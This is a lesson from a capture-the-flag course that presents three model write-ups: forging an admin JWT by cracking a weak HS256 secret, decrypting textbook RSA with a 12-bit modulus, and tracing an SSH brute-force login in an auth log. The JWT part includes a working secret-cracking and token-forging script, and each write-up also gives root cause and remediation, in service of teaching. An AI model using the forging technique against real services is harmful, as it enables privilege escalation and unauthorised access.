Model Write-ups: Three Complete Solutions
The previous lesson gave you the six-part write-up template and a short IDOR example. This lesson shows the finished product: three complete write-ups, in three categories, at the standard you would put in a portfolio. Each one uses a challenge from this section, so solve them yourself first. Reading a write-up before you have tried the challenge teaches you much less.
Read one write-up, then write your own for a different challenge before reading the next. Compare structure, not wording: did you state the root cause in one sentence? Did you show commands someone else could rerun? Did you separate the fix from the exploit?
Every command and output below was run against the challenge data exactly as it appears in this course, so you can reproduce each step.
Write-up 1 — Web: Crack the Secret (JWT)
1. Challenge summary. Web, medium. The API at api.kashsec-labs.test issues HS256-signed JSON Web Tokens and enforces signature checks correctly. Given a valid token for the guest user with role user, the goal is a token the server accepts with role admin.
2. Recon and initial observations. Decoding the token's first two segments (Base64URL, no key needed) shows:
header: {"alg":"HS256","typ":"JWT"}
payload: {"user":"guest","role":"user"}
The signature segment is 43 characters, the expected length of a 32-byte HMAC-SHA256 value in Base64URL. Changing "role" without re-signing is rejected, so the server does verify signatures. The company's own blog describes the auth service as "a quick weekend project", which suggests a weak, possibly default, signing secret.
3. Hypothesis and approach. HS256 is symmetric: one secret both signs and verifies. If that secret is guessable, I can recompute the signature offline for each candidate and compare it with the real one. A match proves I hold the signing key, and then I can sign any payload I like. This needs no requests to the server, so it is invisible to rate limiting and logging.
4. Solution steps. The script below tests each wordlist entry and then signs a forged admin payload. It uses only Python's standard library.
import base64, hashlib, hmac, json
TOKEN = ("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
".eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9"
".DPA_ipfNHoJ-7CGcw43IsjaJ6mNE2n1WGVOqP4zduhw")
WORDLIST = ["secret", "password123", "kashsec", "changeme", "dev-secret-key"]
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def sign(signing_input: str, key: str) -> str:
return b64url(hmac.new(key.encode(), signing_input.encode(), hashlib.sha256).digest())
header, payload, signature = TOKEN.split(".")
secret = next(k for k in WORDLIST if hmac.compare_digest(sign(f"{header}.{payload}", k), signature))
print("secret:", secret)
forged_payload = b64url(json.dumps({"user": "guest", "role": "admin"}, separators=(",", ":")).encode())
forged = f"{header}.{forged_payload}.{sign(f'{header}.{forged_payload}', secret)}"
print("forged:", forged)
Output:
secret: dev-secret-key
forged: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ.dT0NsVUXaq381EOYMf7-UE2qICFgAJi2Mdr2I8e-8AY
Sending the forged token to /whoami returns the admin view and the flag KASHSEC{n3v3r_r0ll_y0ur_0wn_s3cr3t_w34kly}. For a wordlist of real size you would use a cracking tool such as hashcat (mode 16500 is JWT), but the logic is identical.
5. Root cause. The token signing secret is a short, human-chosen string that appears in common wordlists. HS256 is only as strong as its key: anyone who can obtain or guess the key can mint valid tokens for any user and role.
6. Remediation. Generate the signing key randomly with at least 256 bits of entropy (for example secrets.token_bytes(32)), keep it in a secrets manager rather than source code, and rotate it, which here also invalidates every token signed with the old key. Pin the accepted algorithm on the server instead of trusting the token's alg header. Where many services verify tokens, an asymmetric algorithm such as RS256 or EdDSA means verifiers never hold a signing key. RFC 8725 collects these practices.
Write-up 2 — Crypto: Weak RSA
1. Challenge summary. Crypto, medium. A message was encrypted with textbook RSA using the public key n = 3127, e = 3, giving ciphertext c = 201. The flag is KASHSEC{d3crypt3d_m_1s_<m>}, where m is the plaintext.
2. Recon and initial observations. n is a 12-bit number. Real RSA moduli are 2048 bits or more, because RSA's security depends entirely on n being infeasible to factor. A 12-bit modulus can be factored instantly by trial division.
3. Hypothesis and approach. If n = p × q can be factored, the private key follows directly: compute Euler's totient φ(n) = (p − 1)(q − 1), then the private exponent d, the modular inverse of e modulo φ(n). Decryption is m = c^d mod n. Re-encrypting m must give back c, which checks the answer.
4. Solution steps.
n, e, c = 3127, 3, 201
# Trial division is instant for a 12-bit modulus (and hopeless for 2048 bits).
p = next(i for i in range(2, int(n ** 0.5) + 1) if n % i == 0)
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi) # modular inverse (Python 3.8+)
m = pow(c, d, n)
print(f"p={p} q={q} phi={phi} d={d}")
print(f"m={m} check: m^e mod n = {pow(m, e, n)}")
print(f"KASHSEC{{d3crypt3d_m_1s_{m}}}")
Output:
p=53 q=59 phi=3016 d=2011
m=2222 check: m^e mod n = 201
KASHSEC{d3crypt3d_m_1s_2222}
3 × 2011 = 6033 = 2 × 3016 + 1, so d is correct, and re-encrypting 2222 returns the original ciphertext 201.
5. Root cause. The key is far too small. Factoring n is the one problem RSA relies on being hard, and at this size it is trivial. The scheme is also textbook RSA with no padding, which leaks information even at real key sizes: the same plaintext always encrypts to the same ciphertext, and small messages with small e can sometimes be recovered without factoring at all.
6. Remediation. Use a vetted library with keys of at least 2048 bits (3072 for long-lived keys) and OAEP padding for encryption, or prefer elliptic-curve schemes. Never implement RSA arithmetic yourself in production. In CTFs, tools such as RsaCtfTool automate the common weak-key attacks, which is a good reminder of how many ways hand-rolled RSA goes wrong.
Write-up 3 — Forensics: The Log Hunt
1. Challenge summary. Forensics, easy. Given twelve lines of sshd authentication log from web01, identify which IP address got in, what kind of attack it was, and submit the IP as the flag with dashes instead of dots.
2. Recon and initial observations. Saving the lines as auth.log, the first question is where logins succeeded:
$ grep "Accepted" auth.log
Mar 14 02:31:22 web01 sshd[1191]: Accepted password for admin from 203.0.113.77 port 51300 ssh2
Mar 14 09:02:11 web01 sshd[1388]: Accepted publickey for deploy from 198.51.100.14 port 40501 ssh2
Two successes, so the analysis has to explain both. Counting failures by source IP and listing which usernames each one tried:
$ grep "Failed password" auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn
7 203.0.113.77
2 198.51.100.14
$ grep "Failed password" auth.log | awk '{print $(NF-3), $(NF-5)}' | sort -u
198.51.100.14 deploy
203.0.113.77 admin
203.0.113.77 root
3. Hypothesis and approach. 203.0.113.77 fails repeatedly against two privileged accounts and then succeeds with a password: a brute-force attack that worked. 198.51.100.14 fails twice against its own account, 26 minutes apart, and hours later logs in with an SSH key, which looks like a legitimate user who mistyped a password. To confirm, I build the attacker's timeline. Each SSH connection gets its own sshd process ID, so the PID ties the successful login to its session.
4. Solution steps.
$ grep "203.0.113.77\|sshd\[1191\]" auth.log | awk '{print $3, $5, $6, $7, $9}'
02:14:01 sshd[1122]: Failed password admin
02:14:03 sshd[1124]: Failed password admin
02:14:05 sshd[1126]: Failed password admin
02:14:07 sshd[1128]: Failed password root
02:14:09 sshd[1130]: Failed password root
02:31:18 sshd[1187]: Failed password admin
02:31:20 sshd[1189]: Failed password admin
02:31:22 sshd[1191]: Accepted password admin
02:31:22 sshd[1191]: pam_unix(sshd:session): session for
The pattern is automated: a new connection every two seconds, two usernames, a pause of about 17 minutes, then a second burst that succeeds on the third attempt. PID 1191 shows the accepted password and the opened session belong to the same connection, so the attacker has an interactive shell as admin. The flag is KASHSEC{203-0-113-77}.
5. Root cause. The server allows password authentication for SSH, including for the privileged admin account, with no lockout or rate limiting, and admin has a guessable password. The two bursts with a pause between them is a common way to stay under simple detection thresholds. This maps to MITRE ATT&CK technique T1110 (Brute Force).
6. Remediation. Immediately: treat web01 as compromised. Disable the admin account's password, review what the 02:31 session did, and block 203.0.113.77. Then fix the cause: set PasswordAuthentication no and use keys only (as the deploy user already does), disable direct root login, and add rate limiting such as fail2ban. Finally, alert on many failures followed by a success from the same source, which would have caught this at 02:31.
What these three have in common
- The summary says what was found, not what was tried. Each opens with the target, the starting point and the goal in two or three sentences.
- Every claim has evidence. Decoded headers, script output and log lines are shown, so a reader can check the reasoning instead of trusting it.
- Commands are reproducible. Someone else can rerun every step from the write-up alone.
- The root cause is general. "A guessable HMAC key", "a factorable modulus", "password SSH without rate limiting": each one applies far beyond this challenge.
- The fix is specific and ordered. Contain first, then remove the cause, then add detection.
Never publish solutions for a live competition before it ends, and respect each platform's rules: many, including Hack The Box for active machines, forbid public write-ups until a challenge retires. For real bug bounty or pentest work, publish only with the programme's written permission and with client details removed.
- Pick a challenge from this section that is not covered above and write it up with all six parts.
- Compare your root-cause sentence with the one in that challenge's "Why this matters" section. Is yours as general?
- Ask someone who has not solved it to follow your write-up. Where did they get stuck?
Key terms
- Reproducible evidence — commands, inputs and outputs shown in full, so another person can repeat each step and get the same result
- Timeline — events from logs or artefacts put in time order, used to show how an attack progressed
- Containment — the first remediation step in an incident: stopping further damage before fixing the root cause
Recap
A strong write-up is short on narrative and long on evidence. Summarise the goal, show what you observed, state the hypothesis that guided you, give steps someone else can repeat, name the general root cause, and give a fix in the order a defender would apply it.
References
- CTFtime write-up archive — real published write-ups from past competitions, useful for comparing styles
- 0xdf hacks stuff — long-running, carefully structured write-ups of retired Hack The Box machines
- IppSec — searchable index of video walkthroughs, handy for finding how a technique is used in practice
- HackerOne Hacktivity — publicly disclosed bug bounty reports, the professional version of a write-up
- RFC 8725 — JSON Web Token Best Current Practices — the standard behind Write-up 1's remediation
- MITRE ATT&CK T1110 — Brute Force — detection and mitigation guidance for Write-up 3
- Python hmac module — including why
compare_digestis used for comparing signatures
Next up → AI Write-ups: Four Complete Solutions